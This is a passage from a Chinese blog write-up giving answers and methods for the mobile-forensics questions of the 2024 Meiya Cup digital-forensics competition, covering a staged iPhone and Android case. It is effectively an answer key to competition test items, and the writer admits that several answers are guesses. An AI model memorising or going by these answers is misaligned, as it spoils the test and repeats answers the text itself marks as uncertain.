alt="assets/2024美亚杯个人赛Joyooo/file-20250731102945329.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-027-fd19d45150.png"/><br/>一搜看到路径<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731103209263.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-028-14425d7eb1.png"/></p><pre><code>8985200000826445829</code></pre><p>8985200000826445829</p><h2 id="手机取证emma8-参考-emma_mobilezipemma-手机的蓝牙设备名称-elk-bledom-的通用唯一标识符-uuid-是什么">手机取证（Emma）8: 参考 Emma_Mobile.zip，Emma 手机的蓝牙设备名称 "ELK-BLEDOM" 的通用唯一标识符 (UUID) 是什么？</h2><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731103437423.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-029-5b765172ad.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731103428805.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-030-bd08f51118.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731103646621.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-031-f460699d2c.png"/><br/>8D13F23C-E73C-6A98-AA4F-16C8D7A5F826</p><h2 id="手机取证emma9-参考-emma_mobilezipemma-手机内-safari-浏览记录中网页-httpsracinghkjccom-的网站标题是什么a-香港马会奖券有限公司b-六合彩---google-搜索c-快易钱网上贷款财务公司d-赛马信息---香港赛马会">手机取证（Emma）9: 参考 Emma_Mobile.zip，Emma 手机内 Safari 浏览记录中网页 "<a href="https://racing.hkjc.com/" rel="noopener nofollow" target="_blank">https://racing.hkjc.com/</a>" 的网站标题是什么？A. 香港马会奖券有限公司；B. 六合彩 - Google 搜索；C. 快易钱：网上贷款财务公司D. 赛马信息 - 香港赛马会</h2><p>D<br/>送分题，喜欢<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731104208160.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-032-f54398cce6.png"/></p><h2 id="手机取证emma10-参考-emma_mobilezipemma-向-clara-透露什么原因令-emma-欠下巨债a-投资孖展b-虚拟货币失利c-网上dubod-以上皆是">手机取证（Emma）10: 参考 Emma_Mobile.zip，Emma 向 Clara 透露什么原因令 Emma 欠下巨债？A. 投资孖展；B. 虚拟货币失利；C. 网上dubo；D. 以上皆是</h2><p>D<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731104515109.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-033-7d028a4485.png"/><br/>buff叠满吗有点意思</p><h2 id="手机取证emma11-参考-emma_mobilezip收债人要求-emma-还款数量a-港币786990b-港币878990c-港币786980d-港币745330">手机取证（Emma）11: 参考 Emma_Mobile.zip，收债人要求 Emma 还款数量？A. 港币$786,990；B. 港币$878,990；C. 港币$786,980；D. 港币$745,330</h2><p>C<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731104751405.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-034-f71f9ca933.png"/><br/>这里感觉是发照片了<br/>里面应该有借款的金额</p><p>之前手机分析不出来，我按照mac的任务分析了一下，有图片节点了，我们看看图<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731105105357.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-035-1f0ce44c09.png"/><br/>看到一个助记词，可能后面有用<br/>然后我们看到有好几张短信图片有欠款的内容，猜测在短信里，找找数据库带sms（短信）关键词的<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731110129582.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-036-beeec405e7.png"/><br/>瞅瞅<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731110451059.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-037-4bf1f8d7d4.png"/><br/>massage表里看到骂的很脏啊<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731110523332.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-038-1b344bf1ed.png"/></p><h2 id="手机取证emma12-参考-emma_mobilezipemma-发送了多少张png-图片给-clara证明自己正被人追债a-6b-7c-8d-9">手机取证（Emma）12: 参考 Emma_Mobile.zip，Emma 发送了多少张.PNG 图片给 Clara，证明自己正被人追债？A. 6；B. 7；C. 8；D. 9</h2><p>B<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731110659109.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-039-b348748dcf.png"/><br/>不是很严谨但是七张</p><h2 id="手机取证emma13-参考-emma_mobilezipemma-用来浏览虚拟货币的网址agooglecombfacebookcomc-intellaxiodyahoocom">手机取证（Emma）13: 参考 Emma_Mobile.zip，Emma 用来浏览虚拟货币的网址？A. Google.com；B. Facebook.com；C. IntellaX.io；D. Yahoo.com</h2><p>C<br/>刚才看照片好像看着了，回去瞅瞅，没瞅着QWQ<br/>、<img alt="assets/2024美亚杯个人赛Joyooo/file-20250731111548379.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-040-d55a5452f0.png"/><br/>翻下数据库history，子表visit觉得可能，点进来一看果然是浏览记录<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731112007777.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-041-16c0c8bfea.png"/><br/>这个intellax在代币搜索后面，且出现频率极高，多半就是<br/>其实这个题呢也可以看下另外三个选项，纯属是送了</p><h2 id="手机取证emma14-参考-emma_mobilezip-的浏览器记录有多少网址与-bet365-有关a-3b-13c-9d-12">手机取证（Emma）14: 参考 Emma_Mobile.zip 的浏览器记录，有多少网址与 bet365 有关？A. 3；B. 13；C. 9；D. 12</h2><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731113913236.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-042-4ed460ff65.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731113923010.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-043-f9c3f71958.png"/><br/>SELECT COUNT(*)<br/>FROM history_items<br/>WHERE url LIKE 'bet365';<br/>然而失败了<br/>x-way启动<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731113957637.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-044-989ec7bff9.png"/>原来在这俩里面有</p><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731114246230.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-045-37b437ada3.png"/><br/>直接看得到这里有俩，也可以踏踏实实搜<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731115008186.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-046-25d8142fdc.png"/><br/>safari里面一条<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731115018853.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-047-f2148507a6.png"/><br/>一共三条</p><h2 id="手机取证emma15-参考-emma_mobilezipemma-用了哪些恢复短语-recovery-phrase-进入-david-的虚拟货币账户a-stockavocadograbclayb-lightsadnesssegmentancientc-toetalkelderoild-以上皆是">手机取证（Emma）15: 参考 Emma_Mobile.zip，Emma 用了哪些恢复短语 (Recovery Phrase) 进入 David 的虚拟货币账户？A. stock,avocado,grab,clay；B. light,sadness,segment,ancient；C. toe,talk,elder,oil；D. 以上皆是</h2><p>D<br/>参考11题</p><h2 id="手机取证emma16-参考-emma_mobilezipemma-从-david-处窃取的虚拟货币的名称是什么a-idfcb-icacc-inicd-ifcc">手机取证（Emma）16: 参考 Emma_Mobile.zip，Emma 从 David 处窃取的虚拟货币的名称是什么？A. IDFC；B. ICAC；C. INIC；D. IFCC</h2><p>A<br/>也是在照片里有<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731115221812.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-048-6e85259e7a.png"/><br/>IDFC</p><h2 id="手机取证emma17-参考-emma_mobilezipclara-偷拍的照片中david-的虚拟货币余额是多少a-326637899b-104474922c-502291566d-782246844">手机取证（Emma）17: 参考 Emma_Mobile.zip，Clara 偷拍的照片中，David 的虚拟货币余额是多少？A. 3266378.99；B. 1044749.22；C. 5022915.66；D. 7822468.44</h2><p>C<br/>同上</p><h2 id="手机取证emma18-参考-emma_mobilezipemma-在偷窃-david-的虚拟货币前emma-曾向-clara-透露有什么事发生在-emma-身上a-中彩票b-欠债c-升职d-失业">手机取证（Emma）18: 参考 Emma_Mobile.zip，Emma 在偷窃 David 的虚拟货币前，Emma 曾向 Clara 透露有什么事发生在 Emma 身上？A. 中彩票；B. 欠债；C. 升职；D. 失业</h2><p>B<br/>分析之前的聊天</p><h2 id="手机取证emma19-参考-emma_mobilezipemma-的-iphone-xr-中-img_0008heic-的图像与相片名字为-5005jpg-看似为同一张相片在数码法理鉴证分析下以下哪样描述是正确a-储存在不同的db-檔案里b-有不同哈希值c-img_0008heic-为原图5005jpg-并非原图d-img_0008heic-和-5005jpg-是同一张相片">手机取证（Emma）19: 参考 Emma_Mobile.zip，Emma 的 iPhone XR 中 "IMG_0008.HEIC" 的图像与相片名字为 "5005.JPG" 看似为同一张相片，在数码法理鉴证分析下，以下哪样描述是正确？A. 储存在不同的.db 檔案里；B. 有不同哈希值；C. IMG_0008.HEIC 为原图，"5005.JPG" 并非原图；D. IMG_0008.HEIC 和 "5005.JPG" 是同一张相片</h2><p>BC<br/>问了ai：<br/>在数码法理鉴证中，哈希值是核心验证工具。不同格式（HEIC vs. JPG）导致文件二进制内容不同，因此哈希值必然不同。这客观证明文件并非相同，无论内容视觉相似性。</p><p>iPhone XR默认以HEIC格式保存原图，以节省空间。"5005.JPG"的命名不符合iPhone默认模式（通常为"IMG_XXXX"），表明它可能为导出、编辑或第三方应用保存的版本。</p><h2 id="手机取证emma20-参考-emma_mobilezipemma-的-iphone-xr-中-img_0009heic-的图像显示拍摄参数怎样a-iphone-xr-back-camera-425mm-f18b-iphone-xr-back-camera-425mm-f28c-iphone-xr-back-camera-425mm-f2d-iphone-xr-back-camera-425mm-f16">手机取证（Emma）20: 参考 Emma_Mobile.zip，Emma 的 iPhone XR 中 "IMG_0009.HEIC" 的图像显示拍摄参数怎样？A. iPhone XR back camera 4.25mm f/1.8；B. iPhone XR back camera 4.25mm f/2.8；C. iPhone XR back camera 4.25mm f/2；D. iPhone XR back camera 4.25mm f/1.6</h2><p>A<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731135955371.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-049-0b3b28f7f0.png"/><br/>xwf出来了发现是在这个sqlite里面，应该是可以直接用xwf解析的，但我不会，回头问问文强哥<br/>于是我们把这个改个.sql后缀然后再给naviat导进去看<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731140335425.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-050-4984b2e825.png"/><br/>搜图片看了半天没看到参数相关，那么只能选项暴力搜索了<br/>只用过A</p><h2 id="手机取证emma21-参考-emma_mobilezipemma-的-iphone-xr-中相片文件-img_0009heic-提供了什么电子证据信息a-此相片是由隔空投送-airdrop-得来b-此相片由-iphone-xr-拍摄c-此相片的拍摄时间为-2024-08-05-133815-utc8d-此相片的拍摄时间为-2024-08-06-083052-utc8">手机取证（Emma）21: 参考 Emma_Mobile.zip，Emma 的 iPhone XR 中相片文件 IMG_0009.HEIC 提供了什么电子证据信息？A. 此相片是由隔空投送 (Airdrop) 得来；B. 此相片由 iPhone XR 拍摄；C. 此相片的拍摄时间为 2024-08-05 13:38:15 (UTC+8)；D. 此相片的拍摄时间为 2024-08-06 08:30:52 (UTC+8)</h2><p>BC<br/>上一题得到是iphon XR<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731141743816.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-051-24288263f5.png"/><br/><a href="https://www.epochconverter.com/coredata" rel="noopener nofollow" target="_blank">https://www.epochconverter.com/coredata</a><br/>（cocoa时间戳换算）</p><h2 id="手机取证emma22-参考-emma_mobilezipemma-的-iphone-xr-内以下哪张照片是实况照片-live-photosa-img_0002heicb-img_0005heicc-img_0004heicd-img_0006heic">手机取证（Emma）22: 参考 Emma_Mobile.zip，Emma 的 iPhone XR 内以下哪张照片是实况照片 (Live Photos)？A. IMG_0002.HEIC；B. IMG_0005.HEIC；C. IMG_0004.HEIC；D. IMG_0006.HEIC</h2><p>竟然搜不到<img alt="assets/2024美亚杯个人赛Joyooo/file-20250731142146991.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-052-dac7ef35a1.png"/></p><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731142319629.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-053-eeba7753ca.png"/><br/>搜下live感觉有戏<br/>进去一看没戏<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731142746878.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-054-1108c302e7.png"/><br/>选项带入暴力搜<br/>发现bd没有<br/>但是不能判断是否是live<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731143304122.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-055-674e60cc8d.png"/><br/>看了看大佬的见解：<br/>实况图片 live photo就是基于HEIC，所以2和4是采用HEIC格式进行保存的<br/>那就是AC</p><h2 id="手机取证emma23-参考-emma_mobilezip手机里有多少张照片是用手机后置摄像镜头拍摄的a-5b-6c-7d-8">手机取证（Emma）23: 参考 Emma_Mobile.zip，手机里有多少张照片是用手机后置摄像镜头拍摄的？A. 5；B. 6；C. 7；D. 8</h2><p>8<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731143511020.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-056-5d1f5d5c59.png"/></p><h2 id="手机取证emma24-参考-emma_mobilezip-的通讯记录meslocalid-224-是什么类的文件a-相片b-影片c-文件d-报表">手机取证（Emma）24: 参考 Emma_Mobile.zip 的通讯记录，MesLocalID 224 是什么类的文件？A. 相片；B. 影片；C. 文件；D. 报表</h2><p>A<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731144348101.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-057-72b9e1766f.png"/><br/>看一下<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731144340282.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-058-e1199050ca.png"/><br/>message拿出来分析下<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731145129127.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-059-b6624b1b01.png"/></p><p>imgmsg 就是图片的信息，看来是个图，就选A吧</p><h2 id="手机取证clara25-参考-clara_smartphonebinclara-手机的-android-操作系统版本是a-800b-900c-810d-700">手机取证（Clara）25: 参考 Clara_Smartphone.bin，Clara 手机的 Android 操作系统版本是？A. 8.0.0；B. 9.0.0；C. 8.1.0；D. 7.0.0</h2><p>A<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731155112434.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-060-3a396dd3b7.png"/></p><h2 id="手机取证clara26-参考-clara_smartphonebinclara-手机的版本号-build-number-是什么">手机取证（Clara）26: 参考 Clara_Smartphone.bin，Clara 手机的版本号 (Build Number) 是什么？</h2><p>OPR1.170623.026<br/>过滤build number 没出来，试试build<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731161804124.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-061-884693fbaa.png"/><br/>点开一个xml问问ai<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731161825660.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-062-0430a159bf.png"/><br/>这个系统安全补丁就是版本号</p><h2 id="安卓build-number格式">安卓Build number格式</h2><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731162009966.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-063-67964aa78a.png"/></p><h2 id="手机取证clara27-参考-clara_smartphonebinclara-手机的-imei-号码是多少只填阿拉伯数字">手机取证（Clara）27: 参考 Clara_Smartphone.bin，Clara 手机的 IMEI 号码是多少？（只填阿拉伯数字）</h2><pre><code>351537092934716</code></pre><p>区别IMEI和IMSI</p><ul><li><strong>IMSI​</strong>​<ul><li><p>​<strong>​归属​</strong>​：用户身份标识，绑定于SIM卡</p><p>。</p></li><li><p>​<strong>​作用​</strong>​：运营商用于识别用户账户，关联服务（如通话、流量计费）</p><p>。</p></li></ul></li><li>​<strong>​IMEI​</strong>​<ul><li><p>​<strong>​归属​</strong>​：设备身份标识，刻录在手机硬件中（如主板）</p><p>。</p></li><li><p>​<strong>​作用​</strong>​：全球唯一标识移动设备，用于追踪设备本身（如防盗、保修）</p><p>。<br/><img alt="原图暂不可用" data-original-src="https://www.cnblogs.com/Joyooo/p/assets/2024%E7%BE%8E%E4%BA%9A%E6%9D%AF/file-20250731161353532.png" loading="lazy" src="/blog/img/cnblogs/missing-image.svg"/><span class="cnblogs-missing-image-note">原图源站暂不可访问：<a href="https://www.cnblogs.com/Joyooo/p/assets/2024%E7%BE%8E%E4%BA%9A%E6%9D%AF/file-20250731161353532.png" rel="noopener" target="_blank">原始链接</a></span><br/>操作一下看到一个xml文件很像<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731161345282.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-065-07ca9caf0d.png"/></p></li></ul></li></ul><h2 id="手机取证clara28-参考-clara_smartphonebinemma-的微信账号是">手机取证（Clara）28: 参考 Clara_Smartphone.bin，Emma 的微信账号是？</h2><p>wxid_ltrpgdhvilso22</p><p><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731155237957.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-066-53e9d007a0.png"/></p><h2 id="手机取证clara29-参考-clara_smartphonebinclara-的第一封电子邮件记录的日期a-2024-07-10b-2024-07-18c-2024-07-23d-2024-07-30">手机取证（Clara）29: 参考 Clara_Smartphone.bin，Clara 的第一封电子邮件记录的日期？A. 2024-07-10；B. 2024-07-18；C. 2024-07-23；D. 2024-07-30</h2><p>A<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731162145151.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-067-fab72d5580.png"/></p><h2 id="手机取证clara30-参考-clara_smartphonebin在通讯录中-david-的联系人信息还包括什么a-出生日期b-linkedinc-电子邮件d-地址">手机取证（Clara）30: 参考 Clara_Smartphone.bin，在通讯录中 "David" 的联系人信息还包括什么？A. 出生日期；B. LinkedIn；C. 电子邮件；D. 地址</h2><p>BC<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731163040666.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-068-055dacbf29.png"/><br/>跳转到源文件，导出数据库搜<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731162743980.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-069-59d57d7e8d.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731162854558.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-070-0894659980.png"/><br/>ps：modified-time是指修改时间</p><h2 id="手机取证clara31-参考-clara_smartphonebindavid-和-clara-之间通话次数a-0b-8c-10d-24">手机取证（Clara）31: 参考 Clara_Smartphone.bin，David 和 Clara 之间通话次数？A. 0；B. 8；C. 10；D. 24</h2><p>B<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731163121937.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-071-3aa928a7e9.png"/></p><h2 id="手机取证clara32-参考-clara_smartphonebinclara-在-chrome-浏览器搜索中哪天使用了关键词-popmart-炒价a-2024-08-10b-2024-08-15c-2024-08-20d-2024-08-25">手机取证（Clara）32: 参考 Clara_Smartphone.bin，Clara 在 Chrome 浏览器搜索中哪天使用了关键词 "popmart 炒价"？A. 2024-08-10；B. 2024-08-15；C. 2024-08-20；D. 2024-08-25</h2><p>B<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731163155660.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-072-7b969a2043.png"/><br/>时期不对，再手动翻一下<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731163303671.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-073-783d8b83cb.png"/><br/>中间打了个空格，这出题人</p><h2 id="手机取证clara33-参考-clara_smartphonebin2024-年-7-月-30-日共收到多少封电子邮件a-2b-3c-4d-5">手机取证（Clara）33: 参考 Clara_Smartphone.bin，2024 年 7 月 30 日共收到多少封电子邮件？A. 2；B. 3；C. 4；D. 5</h2><p>C<br/>数一数</p><h2 id="手机取证clara34-参考-clara_smartphonebinclara-的-gmail-账号是">手机取证（Clara）34: 参考 Clara_Smartphone.bin，Clara 的 Gmail 账号是？</h2><p>2017474332<br/>应该是ID<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731163430425.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-074-249265464b.png"/></p><h2 id="手机取证clara35-参考-clara_smartphonebinclara-的手机安装了哪个版本的-whatsappa-241676000b-241676001c-241676004d-241676007">手机取证（Clara）35: 参考 Clara_Smartphone.bin，Clara 的手机安装了哪个版本的 WhatsApp？A. 241676000；B. 241676001；C. 241676004；D. 241676007</h2><p>C<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731163449312.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-075-db7e41519c.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731163502529.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-076-cc71de10c5.png"/><br/>直接看看不到了，想到搜<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731163918801.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-077-10c4242a57.png"/><br/>这个json里面没有<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731164231356.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-078-8c7b000bce.png"/><br/>这个manifest.xml文件很重要啊，存了各种app的版本啊一些基本信息和配置<br/>打开看看，可惜没有<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731164516233.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-079-7eb88323da.png"/><br/>又来一个，继续<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731164827131.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-080-a546ea747e.png"/><br/>这个进来看都看不到，不知道为啥，跟前面的格式一样啊为啥捏，回头问问<br/>自己懒得拖出来想学下看配置文件的，去看了看大佬们的wp：<br/>方法一：<code>/data/system/packages.xml</code>中搜索whatsapp<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731170109140.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-081-96bfba531f.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731170627152.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-082-473aa79c63.png"/><br/>这个packages.xml里面还有各软件的安装时间<br/>方法二：逆向<br/>待会请教一下<br/>会了jadx打开看下<br/>Androidmanifist.xml就会有啊apk的一些基本配置文件</p><h2 id="手机取证clara36-参考-clara_smartphonebinclara-的-whatsapp-账号只需-11-位阿拉伯数字">手机取证（Clara）36: 参考 Clara_Smartphone.bin，Clara 的 WhatsApp 账号？（只需 11 位阿拉伯数字）</h2><p>85263791704<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731171536788.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-083-b93135ad52.png"/></p><h2 id="找app账号">找app账号</h2><p>大佬的手搓思路：<br/>/data/data/com.whatsapp/shared_prefs/com.whatsapp_preferences_light.xml<br/>（在原apk跳转的磁盘分区中找data目录）</p><h2 id="手机取证clara37-参考-clara_smartphonebinclara-的手机在什么时候安装了小红书-appa-2024-07-10b-2024-07-16c-2024-07-20d-2024-07-30">手机取证（Clara）37: 参考 Clara_Smartphone.bin，Clara 的手机在什么时候安装了小红书 APP？A. 2024-07-10；B. 2024-07-16；C. 2024-07-20；D. 2024-07-30</h2><p>B<br/>可以直接在火眼里面看到<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731172644810.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-084-71721b6429.png"/><br/>还可以在刚才提到的package.xml里面找<br/>it是安装时间，16进制转会10进制<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731172836447.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-085-2032d75c1f.png"/><br/>出来后时间戳转换一下就好</p><h2 id="手机取证clara38-参考-clara_smartphonebin2024-年-8-月-21-日-david-的虚拟貨幣钱包里有多少-idfca-502291566b-321269522c-21035563391d-以上皆不是">手机取证（Clara）38: 参考 Clara_Smartphone.bin，2024 年 8 月 21 日 David 的虚拟貨幣钱包里有多少 IDFC？A. 5022915.66；B. 3212695.22；C. 210355633.91；D. 以上皆不是</h2><p>A<br/>有点扯但也只有这个了<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731173215423.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-086-5d0f86fef8.png"/></p><h2 id="手机取证clara39-参考-clara_smartphonebinclara-注册的微信账号验证码是多少">手机取证（Clara）39: 参考 Clara_Smartphone.bin，Clara 注册的微信账号验证码是多少？</h2><p>945025<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731173318353.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-087-c0d1b6e2f9.png"/><br/>也可以看数据库<br/><code>/data/user_de/0/com.android.providers.telephony/databases/mmssms.db</code></p><h2 id="手机取证clara40-参考-clara_smartphonebindavid-为庆祝结婚周年纪念预订了哪家酒店大写英文字母">手机取证（Clara）40: 参考 Clara_Smartphone.bin，David 为庆祝结婚周年纪念预订了哪家酒店？（大写英文字母）</h2><p>猜测是在wechat聊天记录里，果然翻到了<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731174116688.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-088-0ecf20fd42.png"/><br/>这题可以xwf的ocr做，回头请教下文强哥</p><h2 id="手机取证clara41-参考-clara_smartphonebin哪个数据库文件存储了微信消息全部大写">手机取证（Clara）41: 参考 Clara_Smartphone.bin，哪个数据库文件存储了微信消息？（全部大写）</h2><p>ENMICROMSG.DB<br/>四个里面找一找<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731174324347.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-089-5ae0ea63b4.png"/><br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731174316689.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-090-f55ba8c6bb.png"/><br/>分区24/data/com.tencent.mm/MicroMsg/fb5f7edb03c7bba3e104aa263619a007/EnMicroMsg.db<br/>会发现路径其实也是在相同的data目录下<br/>其实也还是好查找，只要得知聊天信息的任意内容直接xwf就好了</p><h2 id="手机取证clara42-参考-clara_smartphonebin哪个数据库文件-db-存储了-whatsapp-訊息">手机取证（Clara）42: 参考 Clara_Smartphone.bin，哪个数据库文件 (.db) 存储了 WhatsApp 訊息？</h2><p>msgstore.db<br/>和前两题一样的手法，还是很好找<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731174839754.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-091-b53eff7395.png"/></p><h2 id="手机取证clara43-参考-clara_smartphonebinclara-在-2024-年-8-月-29-日拍了多少张照片a-0b-3c-4d-5">手机取证（Clara）43: 参考 Clara_Smartphone.bin，Clara 在 2024 年 8 月 29 日拍了多少张照片？A. 0；B. 3；C. 4；D. 5</h2><p>3<br/>不妨直接搜搜<img alt="assets/2024美亚杯个人赛Joyooo/file-20250731174949172.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-092-d0c8ae97be.png"/></p><h2 id="手机取证clara44-参考-clara_smartphonebinemma-在-2024-年-8-月-6-日通过微信发送了多少张照片给-claraa-0b-1c-5d-12">手机取证（Clara）44: 参考 Clara_Smartphone.bin，Emma 在 2024 年 8 月 6 日通过微信发送了多少张照片给 Clara？A. 0；B. 1；C. 5；D. 12</h2><p>A<br/>没瞅着<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250731185445051.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-093-848507e8de.png"/></p><h2 id="手机取证clara45-参考-clara_smartphonebin照片-20240829_144717jpg-的拍摄相机型号是什么">手机取证（Clara）45: 参考 Clara_Smartphone.bin，照片 20240829_144717.jpg 的拍摄相机型号是什么？</h2><p>LG-H930<br/>看exif信息<br/>model栏显示了型号<br/><img alt="assets/2024美亚杯个人赛Joyooo/file-20250801001754999.png" loading="lazy" src="/blog/img/cnblogs/19382335/image-094-586eda478c.png"/></p><h2 id="exif信息">exif信息</h2><h3 id="exif的核心内容"><strong>EXIF的核心内容​</strong>​</h3><ol><li><p>​<strong>​设备与拍摄参数​</strong>​</p><ul><li><p>​<strong>​相机信息​</strong>​：品牌（如Canon、Sony）、型号（如EOS 5D Mark III）</p><p>。</p></li><li><p>​<strong>​拍摄设置​</strong>​：快门速度（如1/250秒）、光圈值（f/5.6）、ISO感光度（ISO 100）、焦距（200mm）</p><p>。</p></li><li><p>​<strong>​时间信息​</strong>​：拍摄时间（精确到秒）、修改时间、数字化时间</p><p>。</p></li></ul></li><li><p>​<strong>​环境与处理数据​</strong>​</p><ul><li><p>​<strong>​光源与白平衡​</strong>​：日光、荧光灯、手动白平衡等</p><p>。</p></li><li><p>​<strong>​GPS定位​</strong>​：经纬度、海拔（常见于手机拍摄的照片）</p><p>。</p></li><li><p>​<strong>​软件痕迹​</strong>​：若照片经Photoshop编辑，EXIF会记录软件名称及版本（如"Adobe Photoshop CS6"）</p><p>。</p></li></ul></li><li><p>​<strong>​图像属性​</strong>​</p><ul><li><p>分辨率（5470×3540像素）、色彩空间（sRGB）、压缩格式（如Baseline 